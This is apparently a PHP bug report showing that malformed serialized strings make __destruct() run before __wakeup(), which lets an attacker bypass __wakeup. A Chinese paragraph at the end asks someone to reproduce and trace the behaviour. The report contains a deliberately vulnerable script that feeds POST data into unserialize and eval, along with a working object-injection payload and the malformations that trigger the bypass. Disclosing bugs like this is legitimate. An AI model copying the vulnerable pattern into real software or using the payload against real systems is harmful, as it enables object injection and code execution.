unserialize __wakeup bypass

Description

The following code:

<?php

class A
{
    public $info;
    private $end = "1";

    public function __destruct()
    {
        $this->info->func();
    }
}

class B
{
    public $end;

    public function __wakeup()
    {
        $this->end = "exit();";
        echo '__wakeup';
    }

    public function __call($method, $args)
    {
        eval('echo "aaaa";' . $this->end . 'echo "bbb"');
    }
}

unserialize($_POST['data']);

I found an interesting bug. When the deserialized string contains a variable name with the wrong string length, the deserialization continues, but the __destruct() function is called before __wakeup is called. This way you can bypass __wakeup().

I've tested it on some versions and I'm not sure if others have this problem, it's also useful in the latest version.

• 7.4.x -7.4.30
• 8.0.x

[POST]data=O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:6:"Aend";s:1:"1";}

This event also is triggered when

• delete )
• Inconsistent number of class attributes
• The length of the attribute key does not match.
• The length of the attribute value does not match.
• delete ;

Expected Results：

aaaa bbb __wakeup

PHP Version

PHP 7.4.x PHP8.0.x

Operating System

Windows/Linux

首先，使用列出的 PHP 7.4 和 8.0 版本重现所提供的 POST 数据，然后跟踪 B::__wakeup() 和 A::__destruct() 周围的 unserialize 生命周期。将观察到的顺序与预期输出进行比较，并确定一个可测试的生命周期不变量；该 issue 未标识源文件，也未指定所需的修复方案。